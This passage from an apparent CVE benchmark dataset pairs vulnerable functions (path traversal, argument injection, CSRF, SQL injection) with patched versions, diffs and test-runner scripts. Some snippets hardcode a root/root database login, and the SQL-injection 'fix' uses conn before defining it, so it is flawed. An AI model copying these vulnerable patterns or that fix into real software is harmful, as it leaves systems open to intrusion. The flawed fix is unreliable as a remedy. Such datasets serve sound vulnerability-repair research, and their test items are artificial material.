["https://github.com/ljharb/npm-lockfile/commit/bfdb84813260f0edbf759f2fde1e8c816c1478b8"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_214_1", "commit": "38f99c3", "file_path": "getLockfile.js", "start_line": 15, "end_line": 64, "snippet": "module.exports = function getLockfile(packageFile, date, {\n\tnpmNeeded,\n\tonly,\n\tlogger = () => {},\n} = {}) {\n\tif (typeof packageFile !== 'string' || packageFile.length === 0) {\n\t\treturn Promise.reject(colors.red(`\\`packageFile\\` must be a non-empty string; got ${inspect(packageFile)}`));\n\t}\n\tif (typeof date !== 'undefined' && !new Date(date).getTime()) {\n\t\treturn Promise.reject(colors.red(`\\`date\\` must be a valid Date format if provided; got ${inspect(date)}`));\n\t}\n\tconst tmpDirP = getProjectTempDir({ npmNeeded, logger });\n\tconst npmRC = path.join(path.dirname(packageFile), '.npmrc');\n\tconst copyPkg = tmpDirP.then((tmpDir) => {\n\t\tlogger(colors.blue(`Creating \\`package.json\\` in temp dir for ${date || '\\u201cnow\\u201d'} lockfile`));\n\t\treturn Promise.all([\n\t\t\tcopyFile(packageFile, path.join(tmpDir, 'package.json')),\n\t\t\tcopyFile(npmRC, path.join(tmpDir, '.npmrc')).catch((err) => {\n\t\t\t\tif (!err || !(/^ENOENT: no such file or directory/).test(err.message)) {\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\t\t\t}),\n\t\t]);\n\t});\n\treturn Promise.all([tmpDirP, copyPkg]).then(([tmpDir]) => new Promise((resolve, reject) => {\n\t\tconst PATH = path.join(tmpDir, '../node_modules/.bin');\n\t\tlogger(colors.blue(`Running npm install to create lockfile for ${date || '\\u201cnow\\u201d'}...`));\n\t\texec(\n\t\t\t`npm install --ignore-scripts --package-lock --package-lock-only${date ? ` --before=${date}` : ''}${only ? ` --only=${only}` : ''}`,\n\t\t\t{\n\t\t\t\tcwd: tmpDir,\n\t\t\t\tenv: {\n\t\t\t\t\tPATH: `${PATH}:${process.env.PATH}`,\n\t\t\t\t\tNODE_ENV: process.env.NODE_ENV,\n\t\t\t\t},\n\t\t\t},\n\t\t\t(err) => {\n\t\t\t\tif (err) {\n\t\t\t\t\treject(err);\n\t\t\t\t} else {\n\t\t\t\t\tresolve(tmpDir);\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t})).then((tmpDir) => {\n\t\tlogger(colors.blue(`Reading lockfile contents for ${date || '\\u201cnow\\u201d'}...`));\n\t\tconst lockfile = path.join(tmpDir, 'package-lock.json');\n\t\treturn readFile(lockfile, { encoding: 'utf-8' });\n\t});\n};"}], "fix_func": [{"id": "fix_js_214_1", "commit": "bfdb84813260f0edbf759f2fde1e8c816c1478b8", "file_path": "getLockfile.js", "start_line": 15, "end_line": 67, "snippet": "module.exports = function getLockfile(packageFile, date, {\n\tnpmNeeded,\n\tonly,\n\tlogger = () => {},\n} = {}) {\n\tif (typeof packageFile !== 'string' || packageFile.length === 0) {\n\t\treturn Promise.reject(colors.red(`\\`packageFile\\` must be a non-empty string; got ${inspect(packageFile)}`));\n\t}\n\tif (typeof date !== 'undefined' && !new Date(date).getTime()) {\n\t\treturn Promise.reject(colors.red(`\\`date\\` must be a valid Date format if provided; got ${inspect(date)}`));\n\t}\n\tif (only && only !== 'prod' && only !== 'production') {\n\t\treturn Promise.reject(colors.red('`only`, when provided, must be \"prod\" or \"production\"'));\n\t}\n\tconst tmpDirP = getProjectTempDir({ npmNeeded, logger });\n\tconst npmRC = path.join(path.dirname(packageFile), '.npmrc');\n\tconst copyPkg = tmpDirP.then((tmpDir) => {\n\t\tlogger(colors.blue(`Creating \\`package.json\\` in temp dir for ${date || '\\u201cnow\\u201d'} lockfile`));\n\t\treturn Promise.all([\n\t\t\tcopyFile(packageFile, path.join(tmpDir, 'package.json')),\n\t\t\tcopyFile(npmRC, path.join(tmpDir, '.npmrc')).catch((err) => {\n\t\t\t\tif (!err || !(/^ENOENT: no such file or directory/).test(err.message)) {\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\t\t\t}),\n\t\t]);\n\t});\n\treturn Promise.all([tmpDirP, copyPkg]).then(([tmpDir]) => new Promise((resolve, reject) => {\n\t\tconst PATH = path.join(tmpDir, '../node_modules/.bin');\n\t\tlogger(colors.blue(`Running npm install to create lockfile for ${date || '\\u201cnow\\u201d'}...`));\n\t\texec(\n\t\t\t`npm install --ignore-scripts --package-lock --package-lock-only${date ? ` --before=${date}` : ''}${only ? ` --only=${only}` : ''}`,\n\t\t\t{\n\t\t\t\tcwd: tmpDir,\n\t\t\t\tenv: {\n\t\t\t\t\tPATH: `${PATH}:${process.env.PATH}`,\n\t\t\t\t\tNODE_ENV: process.env.NODE_ENV,\n\t\t\t\t},\n\t\t\t},\n\t\t\t(err) => {\n\t\t\t\tif (err) {\n\t\t\t\t\treject(err);\n\t\t\t\t} else {\n\t\t\t\t\tresolve(tmpDir);\n\t\t\t\t}\n\t\t\t}\n\t\t);\n\t})).then((tmpDir) => {\n\t\tlogger(colors.blue(`Reading lockfile contents for ${date || '\\u201cnow\\u201d'}...`));\n\t\tconst lockfile = path.join(tmpDir, 'package-lock.json');\n\t\treturn readFile(lockfile, { encoding: 'utf-8' });\n\t});\n};"}], "vul_patch": "--- a/getLockfile.js\n+++ b/getLockfile.js\n@@ -8,6 +8,9 @@\n \t}\n \tif (typeof date !== 'undefined' && !new Date(date).getTime()) {\n \t\treturn Promise.reject(colors.red(`\\`date\\` must be a valid Date format if provided; got ${inspect(date)}`));\n+\t}\n+\tif (only && only !== 'prod' && only !== 'production') {\n+\t\treturn Promise.reject(colors.red('`only`, when provided, must be \"prod\" or \"production\"'));\n \t}\n \tconst tmpDirP = getProjectTempDir({ npmNeeded, logger });\n \tconst npmRC = path.join(path.dirname(packageFile), '.npmrc');\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-16083", "cve_description": "node-simple-router is a minimalistic router for Node. node-simple-router is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing \"../\" in the URL.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/sandy98/node-simple-router", "patch_url": ["https://github.com/sandy98/node-simple-router/commit/dfdd52e2e80607af433097d940b3834fd96df488"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_25_1", "commit": "91da429", "file_path": "lib/router.js", "start_line": 731, "end_line": 796, "snippet": "    dispatch[\"static\"] = function(pathname, req, res) {\n      var full_path;\n      full_path = \"\" + dispatch.static_route + (unescape(pathname));\n      return fs.exists(full_path, function(exists) {\n        var e, error;\n        if (exists) {\n          if (((pathname.indexOf(dispatch.cgi_dir + \"/\") !== -1) || (pathname.match(/\\.php$/))) && (pathname.substr(-1) !== \"/\") && (dispatch.serve_cgi === true)) {\n            try {\n              return dispatch.cgi(pathname, req, res);\n            } catch (error) {\n              e = error;\n              if (!!dispatch.logging) {\n                dispatch.log(e.toString());\n              }\n              return dispatch._500(null, res, pathname);\n            }\n          } else {\n            return fs.stat(full_path, function(err, stats) {\n              var fd;\n              if (err) {\n                if (!!dispatch.logging) {\n                  dispatch.log(err.toString());\n                }\n                return dispatch._500(null, res, pathname);\n              }\n              if (stats) {\n                if (stats.isDirectory()) {\n                  if (!!dispatch.list_dir) {\n                    return dispatch.directory(full_path, pathname, res);\n                  }\n                  return dispatch._405(null, res, pathname, \"Directory listing not allowed\");\n                }\n                if (stats.isFile()) {\n                  fd = fs.createReadStream(full_path);\n                  res.writeHead(200, {\n                    'Content-Type': mime_types[path_tools.extname(full_path)] || 'text/plain'\n                  });\n                  return fd.pipe(res);\n                }\n              }\n            });\n          }\n        } else {\n          if (unescape(pathname).match(/favicon\\.ico$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('favicon.ico')] || 'application/x-icon'\n            });\n            return res.end(new Buffer(unescape(escaped_favicon), 'binary'));\n          }\n          if (unescape(pathname).match(/icons\\.png$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('icons.png')] || 'image/png'\n            });\n            return res.end(new Buffer(unescape(escaped_icons_png), 'binary'));\n          }\n          if (unescape(pathname).match(/pixel\\.gif$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('pixel.gif')] || 'image/gif'\n            });\n            return res.end(new Buffer(unescape(escaped_pixel_gif), 'binary'));\n          } else {\n            return dispatch._404(null, res, pathname);\n          }\n        }\n      });\n    };"}], "fix_func": [{"id": "fix_js_25_1", "commit": "dfdd52e", "file_path": "lib/router.js", "start_line": 730, "end_line": 798, "snippet": "    dispatch[\"static\"] = function(pathname, req, res) {\n      var full_path;\n      full_path = \"\" + dispatch.static_route + (unescape(pathname));\n      if (full_path.indexOf('..') !== -1) {\n        return dispatch._403(null, res, pathname, \"Trying to get private things through directory traversal is a nasty thing to do.\");\n      }\n      return fs.exists(full_path, function(exists) {\n        var e, error;\n        if (exists) {\n          if (((pathname.indexOf(dispatch.cgi_dir + \"/\") !== -1) || (pathname.match(/\\.php$/))) && (pathname.substr(-1) !== \"/\") && (dispatch.serve_cgi === true)) {\n            try {\n              return dispatch.cgi(pathname, req, res);\n            } catch (error) {\n              e = error;\n              if (!!dispatch.logging) {\n                dispatch.log(e.toString());\n              }\n              return dispatch._500(null, res, pathname);\n            }\n          } else {\n            return fs.stat(full_path, function(err, stats) {\n              var fd;\n              if (err) {\n                if (!!dispatch.logging) {\n                  dispatch.log(err.toString());\n                }\n                return dispatch._500(null, res, pathname);\n              }\n              if (stats) {\n                if (stats.isDirectory()) {\n                  if (!!dispatch.list_dir) {\n                    return dispatch.directory(full_path, pathname, res);\n                  }\n                  return dispatch._405(null, res, pathname, \"Directory listing not allowed\");\n                }\n                if (stats.isFile()) {\n                  fd = fs.createReadStream(full_path);\n                  res.writeHead(200, {\n                    'Content-Type': mime_types[path_tools.extname(full_path)] || 'text/plain'\n                  });\n                  return fd.pipe(res);\n                }\n              }\n            });\n          }\n        } else {\n          if (unescape(pathname).match(/favicon\\.ico$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('favicon.ico')] || 'application/x-icon'\n            });\n            return res.end(new Buffer(unescape(escaped_favicon), 'binary'));\n          }\n          if (unescape(pathname).match(/icons\\.png$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('icons.png')] || 'image/png'\n            });\n            return res.end(new Buffer(unescape(escaped_icons_png), 'binary'));\n          }\n          if (unescape(pathname).match(/pixel\\.gif$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('pixel.gif')] || 'image/gif'\n            });\n            return res.end(new Buffer(unescape(escaped_pixel_gif), 'binary'));\n          } else {\n            return dispatch._404(null, res, pathname);\n          }\n        }\n      });\n    };"}], "vul_patch": "--- a/lib/router.js\n+++ b/lib/router.js\n@@ -1,6 +1,9 @@\n     dispatch[\"static\"] = function(pathname, req, res) {\n       var full_path;\n       full_path = \"\" + dispatch.static_route + (unescape(pathname));\n+      if (full_path.indexOf('..') !== -1) {\n+        return dispatch._403(null, res, pathname, \"Trying to get private things through directory traversal is a nasty thing to do.\");\n+      }\n       return fs.exists(full_path, function(exists) {\n         var e, error;\n         if (exists) {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-16083:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-simple-router\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest --forceExit ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2022-24065", "cve_description": "The package cookiecutter before 2.1.1 are vulnerable to Command Injection via hg argument injection. When calling the cookiecutter function from Python code with the checkout parameter, it is passed to the hg checkout command in a way that additional flags can be set. The additional flags can be used to perform a command injection.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/cookiecutter/cookiecutter", "patch_url": ["https://github.com/cookiecutter/cookiecutter/commit/fdffddb31fd2b46344dfa317531ff155e7999f77"], "programing_language": "Python", "vul_func": [{"id": "vul_py_42_1", "commit": "94036d0", "file_path": "cookiecutter/vcs.py", "start_line": 57, "end_line": 121, "snippet": "def clone(repo_url, checkout=None, clone_to_dir='.', no_input=False):\n    \"\"\"Clone a repo to the current directory.\n\n    :param repo_url: Repo URL of unknown type.\n    :param checkout: The branch, tag or commit ID to checkout after clone.\n    :param clone_to_dir: The directory to clone to.\n                         Defaults to the current directory.\n    :param no_input: Suppress all user prompts when calling via API.\n    :returns: str with path to the new directory of the repository.\n    \"\"\"\n    # Ensure that clone_to_dir exists\n    clone_to_dir = os.path.expanduser(clone_to_dir)\n    make_sure_path_exists(clone_to_dir)\n\n    # identify the repo_type\n    repo_type, repo_url = identify_repo(repo_url)\n\n    # check that the appropriate VCS for the repo_type is installed\n    if not is_vcs_installed(repo_type):\n        msg = f\"'{repo_type}' is not installed.\"\n        raise VCSNotInstalled(msg)\n\n    repo_url = repo_url.rstrip('/')\n    repo_name = os.path.split(repo_url)[1]\n    if repo_type == 'git':\n        repo_name = repo_name.split(':')[-1].rsplit('.git')[0]\n        repo_dir = os.path.normpath(os.path.join(clone_to_dir, repo_name))\n    if repo_type == 'hg':\n        repo_dir = os.path.normpath(os.path.join(clone_to_dir, repo_name))\n    logger.debug(f'repo_dir is {repo_dir}')\n\n    if os.path.isdir(repo_dir):\n        clone = prompt_and_delete(repo_dir, no_input=no_input)\n    else:\n        clone = True\n\n    if clone:\n        try:\n            subprocess.check_output(  # nosec\n                [repo_type, 'clone', repo_url],\n                cwd=clone_to_dir,\n                stderr=subprocess.STDOUT,\n            )\n            if checkout is not None:\n                subprocess.check_output(  # nosec\n                    [repo_type, 'checkout', checkout],\n                    cwd=repo_dir,\n                    stderr=subprocess.STDOUT,\n                )\n        except subprocess.CalledProcessError as clone_error:\n            output = clone_error.output.decode('utf-8')\n            if 'not found' in output.lower():\n                raise RepositoryNotFound(\n                    'The repository {} could not be found, '\n                    'have you made a typo?'.format(repo_url)\n                )\n            if any(error in output for error in BRANCH_ERRORS):\n                raise RepositoryCloneFailed(\n                    'The {} branch of repository {} could not found, '\n                    'have you made a typo?'.format(checkout, repo_url)\n                )\n            logger.error('git clone failed with error: %s', output)\n            raise\n\n    return repo_dir"}], "fix_func": [{"id": "fix_py_42_1", "commit": "fdffddb", "file_path": "cookiecutter/vcs.py", "start_line": 57, "end_line": 125, "snippet": "def clone(repo_url, checkout=None, clone_to_dir='.', no_input=False):\n    \"\"\"Clone a repo to the current directory.\n\n    :param repo_url: Repo URL of unknown type.\n    :param checkout: The branch, tag or commit ID to checkout after clone.\n    :param clone_to_dir: The directory to clone to.\n                         Defaults to the current directory.\n    :param no_input: Suppress all user prompts when calling via API.\n    :returns: str with path to the new directory of the repository.\n    \"\"\"\n    # Ensure that clone_to_dir exists\n    clone_to_dir = os.path.expanduser(clone_to_dir)\n    make_sure_path_exists(clone_to_dir)\n\n    # identify the repo_type\n    repo_type, repo_url = identify_repo(repo_url)\n\n    # check that the appropriate VCS for the repo_type is installed\n    if not is_vcs_installed(repo_type):\n        msg = f\"'{repo_type}' is not installed.\"\n        raise VCSNotInstalled(msg)\n\n    repo_url = repo_url.rstrip('/')\n    repo_name = os.path.split(repo_url)[1]\n    if repo_type == 'git':\n        repo_name = repo_name.split(':')[-1].rsplit('.git')[0]\n        repo_dir = os.path.normpath(os.path.join(clone_to_dir, repo_name))\n    if repo_type == 'hg':\n        repo_dir = os.path.normpath(os.path.join(clone_to_dir, repo_name))\n    logger.debug(f'repo_dir is {repo_dir}')\n\n    if os.path.isdir(repo_dir):\n        clone = prompt_and_delete(repo_dir, no_input=no_input)\n    else:\n        clone = True\n\n    if clone:\n        try:\n            subprocess.check_output(  # nosec\n                [repo_type, 'clone', repo_url],\n                cwd=clone_to_dir,\n                stderr=subprocess.STDOUT,\n            )\n            if checkout is not None:\n                checkout_params = [checkout]\n                # Avoid Mercurial \"--config\" and \"--debugger\" injection vulnerability\n                if repo_type == \"hg\":\n                    checkout_params.insert(0, \"--\")\n                subprocess.check_output(  # nosec\n                    [repo_type, 'checkout', *checkout_params],\n                    cwd=repo_dir,\n                    stderr=subprocess.STDOUT,\n                )\n        except subprocess.CalledProcessError as clone_error:\n            output = clone_error.output.decode('utf-8')\n            if 'not found' in output.lower():\n                raise RepositoryNotFound(\n                    f'The repository {repo_url} could not be found, '\n                    'have you made a typo?'\n                )\n            if any(error in output for error in BRANCH_ERRORS):\n                raise RepositoryCloneFailed(\n                    f'The {checkout} branch of repository '\n                    f'{repo_url} could not found, have you made a typo?'\n                )\n            logger.error('git clone failed with error: %s', output)\n            raise\n\n    return repo_dir"}], "vul_patch": "--- a/cookiecutter/vcs.py\n+++ b/cookiecutter/vcs.py\n@@ -42,8 +42,12 @@\n                 stderr=subprocess.STDOUT,\n             )\n             if checkout is not None:\n+                checkout_params = [checkout]\n+                # Avoid Mercurial \"--config\" and \"--debugger\" injection vulnerability\n+                if repo_type == \"hg\":\n+                    checkout_params.insert(0, \"--\")\n                 subprocess.check_output(  # nosec\n-                    [repo_type, 'checkout', checkout],\n+                    [repo_type, 'checkout', *checkout_params],\n                     cwd=repo_dir,\n                     stderr=subprocess.STDOUT,\n                 )\n@@ -51,13 +55,13 @@\n             output = clone_error.output.decode('utf-8')\n             if 'not found' in output.lower():\n                 raise RepositoryNotFound(\n-                    'The repository {} could not be found, '\n-                    'have you made a typo?'.format(repo_url)\n+                    f'The repository {repo_url} could not be found, '\n+                    'have you made a typo?'\n                 )\n             if any(error in output for error in BRANCH_ERRORS):\n                 raise RepositoryCloneFailed(\n-                    'The {} branch of repository {} could not found, '\n-                    'have you made a typo?'.format(checkout, repo_url)\n+                    f'The {checkout} branch of repository '\n+                    f'{repo_url} could not found, have you made a typo?'\n                 )\n             logger.error('git clone failed with error: %s', output)\n             raise\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24065:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/cookiecutter\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-24065/bin/python -m pytest tests/vcs/test_clone.py::test_clone_should_invoke_vcs_command -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-24065:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/cookiecutter\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-24065/bin/python -m pytest tests/vcs/test_clone.py -k \"not test_clone_should_invoke_vcs_command\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2022-3221", "cve_description": "Cross-Site Request Forgery (CSRF) in GitHub repository ikus060/rdiffweb prior to 2.4.3.", "cwe_info": {"CWE-352": {"name": "Cross-Site Request Forgery (CSRF)", "description": "The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. "}}, "repo": "https://github.com/ikus060/rdiffweb", "patch_url": ["https://github.com/ikus060/rdiffweb/commit/9125f5a2d918fed0f3fc1c86fa94cd1779ed9f73"], "programing_language": "Python", "vul_func": [{"id": "vul_py_436_1", "commit": "73a369a", "file_path": "rdiffweb/controller/pref_sshkeys.py", "start_line": "110", "end_line": "131", "snippet": "    def render_prefs_panel(self, panelid, action=None, **kwargs):  # @UnusedVariable\n\n        # Handle action\n        form = SshForm()\n        if action == \"add\":\n            self._add_key(action, form)\n        elif action == 'delete':\n            self._delete_key(action, DeleteSshForm())\n\n        # Get SSH keys if file exists.\n        params = {'form': form}\n        try:\n            params[\"sshkeys\"] = [\n                {'title': key.comment or (key.keytype + ' ' + key.key[:18]), 'fingerprint': key.fingerprint}\n                for key in self.app.currentuser.authorizedkeys\n            ]\n        except IOError:\n            params[\"sshkeys\"] = []\n            flash(_(\"Failed to get SSH keys\"), level='error')\n            _logger.warning(\"error reading SSH keys\", exc_info=1)\n\n        return \"prefs_sshkeys.html\", params"}], "fix_func": [{"id": "fix_py_436_1", "commit": "9125f5a2d918fed0f3fc1c86fa94cd1779ed9f73", "file_path": "rdiffweb/controller/pref_sshkeys.py", "start_line": "110", "end_line": "132", "snippet": "    def render_prefs_panel(self, panelid, action=None, **kwargs):  # @UnusedVariable\n\n        # Handle action\n        form = SshForm()\n        delete_form = DeleteSshForm()\n        if action == \"add\" and form.is_submitted():\n            self._add_key(action, form)\n        elif action == 'delete' and delete_form.is_submitted():\n            self._delete_key(action, DeleteSshForm())\n\n        # Get SSH keys if file exists.\n        params = {'form': form}\n        try:\n            params[\"sshkeys\"] = [\n                {'title': key.comment or (key.keytype + ' ' + key.key[:18]), 'fingerprint': key.fingerprint}\n                for key in self.app.currentuser.authorizedkeys\n            ]\n        except IOError:\n            params[\"sshkeys\"] = []\n            flash(_(\"Failed to get SSH keys\"), level='error')\n            _logger.warning(\"error reading SSH keys\", exc_info=1)\n\n        return \"prefs_sshkeys.html\", params"}], "vul_patch": "--- a/rdiffweb/controller/pref_sshkeys.py\n+++ b/rdiffweb/controller/pref_sshkeys.py\n@@ -2,9 +2,10 @@\n \n         # Handle action\n         form = SshForm()\n-        if action == \"add\":\n+        delete_form = DeleteSshForm()\n+        if action == \"add\" and form.is_submitted():\n             self._add_key(action, form)\n-        elif action == 'delete':\n+        elif action == 'delete' and delete_form.is_submitted():\n             self._delete_key(action, DeleteSshForm())\n \n         # Get SSH keys if file exists.\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2015-10055", "cve_description": "A vulnerability was found in PictureThisWebServer and classified as critical. This issue affects the function router.post of the file routes/user.js. The manipulation of the argument username/password leads to sql injection. The patch is named 68b9dc346e88b494df00d88c7d058e96820e1479. It is recommended to apply a patch to fix this issue. The associated identifier of this vulnerability is VDB-218399.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/jan-rodriguez/PictureThisWebServer", "patch_url": ["https://github.com/jan-rodriguez/PictureThisWebServer/commit/68b9dc346e88b494df00d88c7d058e96820e1479"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_101_1", "commit": "c43f7da", "file_path": "routes/user.js", "start_line": "20", "end_line": "67", "snippet": "router.post('/new', function(req, res, next) {\n  console.log(req.body);\n\n  var username = req.body.username;\n  var password = req.body.password;\n\n  //Make sure both username and password are specified\n  if(!username || !password) {\n    res.json ({error: \"Please specify both username and password\"});\n    return;\n  }\n\n  var conn = mysql.createConnection({\n    host    : \"ec2-52-1-159-248.compute-1.amazonaws.com\",\n    user    : \"root\",\n    password: \"root\",\n    port    : 3306,\n    database: \"picture_this\",\n  });\n\n  //Open connection to database\n  conn.connect(function(err) {\n    if(err) {\n      console.error(err.stack);\n      res.json({error: \"Failed to connect to database\"})\n      conn.end();\n      return;\n    }\n    conn.query(\"INSERT INTO user (username, password) VALUES ('\"+username+\"', '\"+password+\"')\", function (err, result) {\n      if(err) {\n        //Duplicate code\n        if(err.code === \"ER_DUP_UNIQUE\") {\n          res.json({error: \"Username already exists.\"});\n        }else{\n          console.error(\"********Failed to insert user**********\");\n          console.error(err.code);\n          res.json({error: \"Failed to insert user to table\"});\n        }\n        return;\n      }\n      res.json({user_id: result.insertId});\n      console.log(result);\n    });\n    conn.end();\n  });\n\n\n});"}], "fix_func": [{"id": "fix_js_101_1", "commit": "68b9dc3", "file_path": "routes/user.js", "start_line": "20", "end_line": "70", "snippet": "router.post('/new', function(req, res, next) {\n\n  var username = req.body.username;\n  var password = req.body.password;\n\n  //Make sure both username and password are specified\n  if(!username || !password) {\n    res.json ({error: \"Please specify both username and password\"});\n    return;\n  }\n\n  //SQL INJECTION SHALL NOT PASS!!!\n  var username = conn.escape(username);\n  var password = conn.escape(password);\n\n  var conn = mysql.createConnection({\n    host    : \"ec2-52-1-159-248.compute-1.amazonaws.com\",\n    user    : \"root\",\n    password: \"root\",\n    port    : 3306,\n    database: \"picture_this\",\n  });\n\n  //Open connection to database\n  conn.connect(function(err) {\n    if(err) {\n      console.error(err.stack);\n      res.json({error: \"Failed to connect to database\"})\n      conn.end();\n      return;\n    }\n    conn.query(\"INSERT INTO user (username, password) VALUES ('\"+username+\"', '\"+password+\"')\", function (err, result) {\n      if(err) {\n        //Duplicate code\n        if(err.code === \"ER_DUP_ENTRY\") {\n          res.json({error: \"Username already exists.\"});\n        }else{\n          console.error(\"********Failed to insert user**********\");\n          console.error(err.code);\n          res.json({error: \"Failed to insert user to table\"});\n        }\n        return;\n      }\n      res.json({user_id: result.insertId});\n      console.log(result);\n    });\n    conn.end();\n  });\n\n\n});"}], "vul_patch": "--- a/routes/user.js\n+++ b/routes/user.js\n@@ -1,5 +1,4 @@\n router.post('/new', function(req, res, next) {\n-  console.log(req.body);\n \n   var username = req.body.username;\n   var password = req.body.password;\n@@ -9,6 +8,10 @@\n     res.json ({error: \"Please specify both username and password\"});\n     return;\n   }\n+\n+  //SQL INJECTION SHALL NOT PASS!!!\n+  var username = conn.escape(username);\n+  var password = conn.escape(password);\n \n   var conn = mysql.createConnection({\n     host    : \"ec2-52-1-159-248.compute-1.amazonaws.com\",\n@@ -29,7 +32,7 @@\n     conn.query(\"INSERT INTO user (username, password) VALUES ('\"+username+\"', '\"+password+\"')\", function (err, result) {\n       if(err) {\n         //Duplicate code\n-        if(err.code === \"ER_DUP_UNIQUE\") {\n+        if(err.code === \"ER_DUP_ENTRY\") {\n           res.json({error: \"Username already exists.\"});\n         }else{\n           console.error(\"********Failed to insert user**********\");\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-7387", "cve_description": "A flaw was found in openshift/builder. This vulnerability allows command injection via path traversal, where a malicious user can execute arbitrary commands on the OpenShift node running the builder container. When using the \u201cDocker\u201d strategy, executable files inside the privileged build container can be overridden using the `spec.source.secrets.secret.destinationDir` attribute of the `BuildConfig` definition. An attacker running code in a privileged container could escalate their permissions on the node running the container.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/openshift/builder", "patch_url": ["https://github.com/openshift/builder/commit/0b62633adfa2836465202bc851885e078ec888d1"], "programing_language": "Go", "vul_func": [{"id": "vul_go_167_1", "commit": "739f527", "file_path": "pkg/build/builder/docker.go", "start_line": 240, "end_line": 290, "snippet": "func (d *DockerBuilder) copyLocalObject(s localObjectBuildSource, sourceDir, targetDir string) error {\n\tdstDir := filepath.Join(targetDir, s.DestinationPath())\n\tif err := os.MkdirAll(dstDir, 0777); err != nil {\n\t\treturn err\n\t}\n\tlog.V(3).Infof(\"Copying files from the build source %q to %q\", s.LocalObjectRef().Name, dstDir)\n\n\t// Build sources contain nested directories and fairly baroque links. To prevent extra data being\n\t// copied, perform the following steps:\n\t//\n\t// 1. Only top level files and directories within the secret directory are candidates\n\t// 2. Any item starting with '..' is ignored\n\t// 3. Destination directories are created first with 0777\n\t// 4. Use the '-L' option to cp to copy only contents.\n\t//\n\tsrcDir := filepath.Join(sourceDir, s.LocalObjectRef().Name)\n\tif err := filepath.Walk(srcDir, func(path string, info os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif srcDir == path {\n\t\t\treturn nil\n\t\t}\n\n\t\t// skip any contents that begin with \"..\"\n\t\tif strings.HasPrefix(filepath.Base(path), \"..\") {\n\t\t\tif info.IsDir() {\n\t\t\t\treturn filepath.SkipDir\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\n\t\t// ensure all directories are traversable\n\t\tif info.IsDir() {\n\t\t\tif err := os.MkdirAll(dstDir, 0777); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tout, err := exec.Command(\"cp\", \"-vLRf\", path, dstDir+\"/\").Output()\n\t\tif err != nil {\n\t\t\tlog.V(4).Infof(\"Build source %q failed to copy: %q\", s.LocalObjectRef().Name, string(out))\n\t\t\treturn err\n\t\t}\n\t\t// See what is copied when debugging.\n\t\tlog.V(5).Infof(\"Result of build source copy %s\\n%s\", s.LocalObjectRef().Name, string(out))\n\t\treturn nil\n\t}); 